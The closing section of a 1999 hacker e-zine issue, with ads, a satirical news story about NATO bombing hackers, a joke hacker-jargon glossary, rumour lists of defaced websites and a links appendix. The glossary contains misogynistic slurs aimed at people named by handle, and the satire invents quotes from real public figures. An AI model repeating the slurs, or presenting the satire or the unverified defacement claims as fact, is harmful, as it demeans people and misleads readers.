  11390.        $$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$
  11391.  
  11392.        www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
  11393.        n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
  11394.        m www.2600.com ########################################ww.2600.com www.freeke
  11395.        vin.com www.kev#  Support 2600.com and the Free Kevin #.com www.kevinmitnick.
  11396.        com www.2600.co#  defense fund site, visit it now! .  # www.2600.com www.free
  11397.        kevin.com www.k#             FREE KEVIN!              #in.com www.kevinmitnic
  11398.        k.com www.2600.########################################om www.2600.com www.fre
  11399.        ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
  11400.        k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre
  11401.  
  11402.        <a href="http://www.2600.com/">www.2600.com</a>
  11403.        <a href="http://www.kevinmitnick.com></a>
  11404.        
  11405.        * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  11406.        * www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
  11407.        *   www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net     *
  11408.     <a href="http://www.csoft.net">One of our sponsers, visit them now</a> www.csoft.net
  11409.        * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  11410.  
  11411.        * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  11412.        * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
  11413.        * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
  11414.        * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  11415.  
  11416.        * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  11417.        * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
  11418.        * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  11419.  
  11420.  
  11421.          //////////////////////////////////////////////////////////////////////////////
  11422.         //  To place an ad in this section simply type it up and email it to        //
  11423.        //        hwa@press,usmc.net, put AD! in the subject header please. - Ed    //
  11424.       //////////////////////////////////////////////////////////////////////////////
  11425.  
  11426.  
  11427.      @HWA
  11428.  
  11429. HA.HA Humour and puzzles ...etc
  11430.       ~~~~~~~~~~~~~~~~~~~~~~~~~
  11431.                                                            Don't worry. worry a *lot*
  11432.      
  11433.       Send in submissions for this section please! .............    
  11434.       
  11435.              -----------------------------/-----------------------------
  11436.       
  11437.       
  11438.       http://www.segfault.org/story.phtml?mode=2&id=36faccb8-03739440
  11439.  
  11440.  
  11441.  
  11442.  
  11443.       NATO authorizes airstrikes on hackers
  11444.       
  11445.       Silicon Valley, California -- Chat rooms were unusually deserted, spammers went on panicked last-minute
  11446.       mail-bombing sprees and bomb shelters filled to overflowing today as gloom engulfed hackers waiting for
  11447.       NATO strikes.
  11448.       
  11449.       Hackers showed a mix of fear and defiance toward the Western military alliance, aware it could strike at any
  11450.       moment against strategic hacker targets after yet another embarrassing vandalism of a U.S. Department of
  11451.       Defense website.
  11452.       
  11453.       "This waiting for strikes is killing me," said w4r3z_f14r3, a 22-year-old student in the controversial Computer
  11454.       Science department at the Massachusetts Institute of Technology. "If they want to bomb us, they should do it
  11455.       now so I can get back to cracking Afterlife II."
  11456.       
  11457.       Graphics illegally uploaded to an Associated Press website accompanied a note which stated, "F1n1$h 7h1Z
  11458.       60mb1n9 0r f4c3 my uur47h, I 4m l337!!! H4x0rs un173!" The web server was quickly downed in a flurry of
  11459.       flamewars over the proper use of the word 'hacker' versus 'cracker' in the page.
  11460.       
  11461.       Many college-age hackers stayed home rather than attending school, though most admit they would have
  11462.       stayed home anyway.
  11463.       
  11464.       Y2K websites issued detailed FAQs to threatened hackers in case of bombing, including information on how
  11465.       long canned goods stay fresh in underground shelters, how to fix a misfiring diesel generator, and how to sow
  11466.       grain in the field with a plow and oxen.
  11467.       
  11468.       Bomb shelters, unused in emergency since DefCon 4, were cleaned up during the last NATO threat in August,
  11469.       when the alliance previously announced its intention to launch airstrikes at the notorious hacker group Cult of
  11470.       the Dead Cow. Most shelters have been turned into underground bunkers featuring ISDN lines with
  11471.       triple-redundancy backups, as once the hackers moved in, they found the absence of sunlight and social
  11472.       involvement enjoyable.
  11473.       
  11474.       Despite the danger, supporters of hard-line hackers were defiant.
  11475.       
  11476.       "NATOns will fire their missiles from a distance," said Lord Kreel, an NT cracker. "Meanwhile, I will be
  11477.       cracking into the Pentagon with my friends in the Lackeys of Terror. We plan to install Windows on all of their
  11478.       computers, which will cripple their systems beyond repair."
  11479.       
  11480.       Opponents of "black hat" hacking think NATO strikes will actually increase the popularity of cracking among
  11481.       the techno-elite, but cement the popular image of the hacker as a no-good techie pirate bent on stealing credit
  11482.       card numbers and eating babies.
  11483.       
  11484.       "Now, [crackers will] attack all the media sites, plastering the entire web with links to porno and warez sites,
  11485.       and lag the whole net to hell", said hacker Frodo Majere. "If NATO thinks they will bend hackers with bombs,
  11486.       they are dead wrong."
  11487.       
  11488.       Supporters of the infamous jailed hacker Kevin Mitnick have reportedly been preparing to strike at well-known
  11489.       pro-NATO companies and military organizations as soon as the first NATO bomb lands on hacker territory.
  11490.       
  11491.       "We'll introduce Y2K bugs to systems where you'll never find them. We will end the disgusting
  11492.       greed-infested system of monopolist capitalism by freeing information forever. Linux is the One, True God,"
  11493.       said one hacker, before he was shot and killed by an enraged fanatic wearing a red "GNU NOT Linux"
  11494.       headband, symbol of the underground terrorist organization FSF. A press release issued by the FSF's guerilla
  11495.       leader, known only as RMS, claimed responsibility for the killing.
  11496.       
  11497.       NATO's secretary-general Javler Selena authorized airstrikes against known hacker sites on Tuesday, after
  11498.       hackers on the IRC channel #2600 rebuffed a last-ditch peace offer and gave out free root accounts on the
  11499.       whitehouse.gov server.
  11500.       
  11501.       "In the past, computer security was a war of escalation between system administrators and joy-riding
  11502.       hackers," said a spokesperson for the anti-hacker group Freedom Through Oppression. "It's high time we
  11503.       brought the war to the instigators and bombed these hacker scum back to the Stone Age. To make the Internet
  11504.       safe for everyone, we must squash dissension once and for all. Countries have been nuked for less."
  11505.       
  11506.       "If you don't stand up to the theft of intellectual property of innocent companies such as SysMicrosoft and
  11507.       AppMicrosoft, you threaten American competitiveness and the ability to innovate," said President Gates, as
  11508.       he sought -- and got -- support from congressional leaders for military action.
  11509.       
  11510.       "We must halt the hackers and save the Internet for our children and the future of our country. The dirty,
  11511.       despicable hackers will no longer disrupt websites to make fun of our institutions, or pollute the Information
  11512.       Superhighway with filthy swear words," said former Vice President Al Gore, founder of the Internet, before he
  11513.       suddenly toppled over and dumped core. "NTLDR not found. INVALID_BOOT_DEVICE in kernel32.exe
  11514.       006383dhX00029393." 
  11515.       Posted on Fri 26 Mar 00:21:38 1999 GMT
  11516.       Written by Potato <meersan@linuxmail.org> 
  11517.  
  11518.       
  11519.       
  11520.       
  11521.       
  11522.              -----------------------------/-----------------------------
  11523.              
  11524.       
  11525.       You have to learn the lingo to become 31337
  11526.       
  11527.       AOL - The best isp in the world. All of the real hax0rs use it.
  11528.       
  11529.       bot - ereet program to 0wn you irc channel for you while you are gone, Curt is the god of bots
  11530.       
  11531.       chix0rs - girlies that hax0rs will never get because they ph33r them too much.
  11532.       
  11533.       ftp - k-rad hax0ring utility used to get passwd files and warez.(if the passwd file is shadow, make sure you get on irc and ask
  11534.       everyone how to unshadow it.)
  11535.       
  11536.       hax0r - Someone that punts, nukes, mailbombs, and 0wns everyone else and tells them that repeatedly.
  11537.       
  11538.       IRC - The place where lamers go to chat. The lamest channels are #2600, #hack, #phreak, #hackphreak, etc. The only k-cool
  11539.       channels are #bastards on effnet, #warez, and #gaycartoonsex.
  11540.       
  11541.       lame - stupid, not leet, suck ass, "emmanuel goldstein is lame"
  11542.       
  11543.       leet - (elite, eleet, 1337, 31337 etc.)good, cool , k-rad, "Cochise is leet"
  11544.       
  11545.       Linux - The OS that lamers that think they are hax0rs use.
  11546.       
  11547.       Microsoft Unix 98 - The super k-rad OS that every real hax0r uses.
  11548.       
  11549.       progs - Tools that every hax0r must have for punting, mailbombing, scrolling, etc.
  11550.       
  11551.       pr0n - pictures of nekkid chix0rs. (note: this is as close to a chix0r a hax0r will ever get.)
  11552.       
  11553.       skilless whore - a stupid bitchx0r that thinks she knows everything, but doesnt know anything. "Orin and Annie are skilless
  11554.       whores"
  11555.       
  11556.       Warez - K-rad pirated software that every hax0r must trade.
  11557.       
  11558.                 
  11559.       http://neatoelito.org/hax0ring/jargon.html
  11560.  
  11561.       - submitted by  A.Silliman
  11562.       
  11563.        @HWA
  11564.        
  11565.        
  11566.        
  11567.  SITE.1 
  11568.                   
  11569.        
  11570.        @HWA
  11571.        
  11572.          
  11573.          
  11574.   H.W Hacked websites 
  11575.       ~~~~~~~~~~~~~~~~
  11576.  
  11577.       Note: The hacked site reports stay, especially with some cool hits by
  11578.             groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed
  11579.  
  11580.           * Hackers Against Racist Propaganda (See issue #7)
  11581.  
  11582.      
  11583.       Haven't heard from Catharsys in a while for those following their saga visit
  11584.       http://frey.rapidnet.com/~ptah/ for 'the story so far'...
  11585.       
  11586.      
  11587.      
  11588.      Looks like things are quieter than normal perhaps with all the FBI action thats
  11589.      going down and groups getting raided some people are becoming a little antsy, 
  11590.      well heres the list for this week according to HNN...
  11591.      
  11592.      
  11593.      From HNN rumours section, http://www.hackernews.com/ 
  11594.       
  11595.      
  11596.      May 24th
  11597.      
  11598.      contributed by Anonymous 
  11599.      
  11600.      Cracked
  11601.      It has been a busy weekend for some people. These are
  11602.      the sites that have been reported to HNN as cracked.
  11603.      Please remember that this is the rumours section. While
  11604.      most of these are verified we can't verify them all.
  11605.      
  11606.       http://www.elitehackers1.net
  11607.       http://www.ruckstuhlgaragen.ch 
  11608.       http://www.gibson.com 
  11609.       http://www.e.gov 
  11610.       http://www.ebuy.gov 
  11611.       http://codesign.scu.edu 
  11612.       http://www.castnetcom.com 
  11613.       http://plan.arch.usyd.edu.au 
  11614.       http://www.4women.gov 
  11615.       http://www.clic.nl 
  11616.       http://www.etnews.co.kr 
  11617.       http://www.hackvp.net 
  11618.       http://eval1.oit.unc.edu 
  11619.       http://elkriver.k12.mn.us 
  11620.       http://jutr.gov.my 
  11621.       http://nc-101.hypermart.net 
  11622.       http://www.barekids.com 
  11623.       http://www.holsey.com 
  11624.       http://www.team-liquid.com 
  11625.       http://www.metro.seoul.kr 
  11626.       http://learnweb.harvard.edu 
  11627.       http://ngpsun.ngpc.state.ne.us 
  11628.       http://www.buscominc.com 
  11629.       http://www.columbuslumber.com 
  11630.       http://www.cpavision.org 
  11631.       http://www.elitexposure.com 
  11632.       http://www.superiortours.com 
  11633.      
  11634.      May 27th 
  11635.      
  11636.       From HNN rumours section;
  11637.      
  11638.       contributed by Anonymous 
  11639.       Cracked
  11640.       These are the sites that have been reported to us as
  11641.       cracked.
  11642.       http://do-nt.8j.net-2
  11643.       http://data.digex.net 
  11644.       http://nation.com.pk 
  11645.       http://www.pak.gov.pk 
  11646.       http://www.the-dark-immortals.org 
  11647.      
  11648.      
  11649.      
  11650.      
  11651.      May 28th
  11652.      
  11653.       From HNN rumours section;
  11654.      
  11655.       contributed by Anonymous 
  11656.       Cracked
  11657.       The following websites have been reported as cracked
  11658.       http://info2.cs-snd.com.cn 
  11659.       http://mmic.snu.ac.kr 
  11660.       http://vunews.vanderbilt.edu 
  11661.       http://wfserverb.weifang.gov.cn 
  11662.       http://www.abatelli.com 
  11663.       http://www.brain3.com 
  11664.       http://www.bringardner.com 
  11665.       http://www.century21rustic.com 
  11666.       http://www.cookpony.com 
  11667.       http://www.craftsmenhomes.com 
  11668.       http://www.devlin-mcniff.com 
  11669.       http://www.dunemere.com 
  11670.       http://www.firsttowne.com 
  11671.       http://www.hampton.net 
  11672.       http://www.hanfra.com 
  11673.       http://www.lambagency.com 
  11674.       http://www.mainstproperties.com 
  11675.       http://www.makah.org 
  11676.       http://www.montauk.net 
  11677.       http://www.morleyagency.com 
  11678.       http://www.moviespotlight.com 
  11679.       http://www.warez-city.cx 
  11680.       http://www.bobhowardnissan.com 
  11681.       http://www.cns.state.va.us 
  11682.       http://www.senate.gov 
  11683.       
  11684.      
  11685.        -------------------------------------------------------------------------
  11686.        
  11687.   A.0                              APPENDICES
  11688.        _________________________________________________________________________
  11689.  
  11690.  
  11691.  
  11692.   A.1 PHACVW, sekurity, security, cyberwar links
  11693.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  11694.  
  11695.        The links are no longer maintained in this file, there is now a
  11696.       links section on the http://welcome.to/HWA.hax0r.news/ url so check
  11697.       there for current links etc.
  11698.  
  11699.       The hack FAQ (The #hack/alt.2600 faq)
  11700.       http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
  11701.       <a href="http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html">hack-faq</a>
  11702.  
  11703.       Hacker's Jargon File (The quote file)
  11704.       http://www.lysator.liu.se/hackdict/split2/main_index.html
  11705.       <a href="http://www.lysator.liu.se/hackdict/split2/main_index.html">Original jargon file</a>
  11706.  
  11707.       New Hacker's Jargon File.
  11708.       http://www.tuxedo.org/~esr/jargon/ 
  11709.       <a href="http://www.tuxedo.org/~esr/jargon/">New jargon file</a>
  11710.       
  11711.       
  11712.       HWA.hax0r.news Mirror Sites:
  11713.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  11714.       http://www.csoft.net/~hwa/ 
  11715.       http://www.digitalgeeks.com/hwa.
  11716.       http://members.tripod.com/~hwa_2k
  11717.       http://welcome.to/HWA.hax0r.news/
  11718.       http://www.attrition.org/~modify/texts/zines/HWA/
  11719.       http://www.genocide2600.com/~tattooman/zines/hwahaxornews/  
  11720.       http://archives.projectgamma.com/zines/hwa/.  
  11721.       http://www.403-security.org/Htmls/hwa.hax0r.news.htm
  11722.  
  11723.  
  11724.       International links:(TBC)
  11725.       ~~~~~~~~~~~~~~~~~~~~~~~~~
  11726.  
  11727.       Foreign correspondants and others please send in news site links that
  11728.       have security news from foreign countries for inclusion in this list
  11729.       thanks... - Ed
  11730.  
  11731.       
  11732.           
  11733.       Belgium.......: http://bewoner.dma.be/cum/              
  11734.                       <a href="http://bewoner.dma.be/cum/">Go there</a> 
  11735.       
  11736.       Brasil........: http://www.psynet.net/ka0z              
  11737.                       <a href="http://www.psynet.net/ka0z/">Go there</a>
  11738.       
  11739.                       http://www.elementais.cjb.net           
  11740.                       <a href="http://www.elementais.cjb.net/">Go there</a>
  11741.       
  11742.       Columbia......: http://www.cascabel.8m.com              
  11743.                       <a href="http://www.cascabel.8m.com/">Go there</a>
  11744.       
  11745.                       http://www.intrusos.cjb.net             
  11746.                       <a href="http://www.intrusos.cjb.net">Go there</a>
  11747.       
  11748.       Indonesia.....: http://www.k-elektronik.org/index2.html 
  11749.                       <a href="http://www.k-elektronik.org/index2.html">Go there</a>
  11750.       
  11751.                       http://members.xoom.com/neblonica/      
  11752.                       <a href="http://members.xoom.com/neblonica/">Go there</a>
  11753.       
  11754.                       http://hackerlink.or.id/                
  11755.                       <a href="http://hackerlink.or.id/">Go there</a>
  11756.       
  11757.       Netherlands...: http://security.pine.nl/                
  11758.                       <a href="http://security.pine.nl/">Go there</a>       
  11759.       
  11760.       Russia........: http://www.tsu.ru/~eugene/              
  11761.                       <a href="http://www.tsu.ru/~eugene/">Go there</a>
  11762.       
  11763.       Singapore.....: http://www.icepoint.com                 
  11764.                       <a href="http://www.icepoint.com">Go there</a>
  11765.                       
  11766.       Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first and best security related e-zine.
  11767.                       <a href="http://www.trscene.org/">Go there</a>              
  11768.  
  11769.     Got a link for this section? email it to hwa@press.usmc.net and i'll
  11770.     review it and post it here if it merits it.
  11771.  
  11772.     @HWA
  11773.     
  11774.  
  11775.   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
  11776.     --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
  11777.  
  11778.     ⌐ 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
  11779.     
  11780.   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-                       
  11781.      --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
  11782.   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
  11783.    [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  11784.        [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]    
  11785.  
  11786.  
  11787.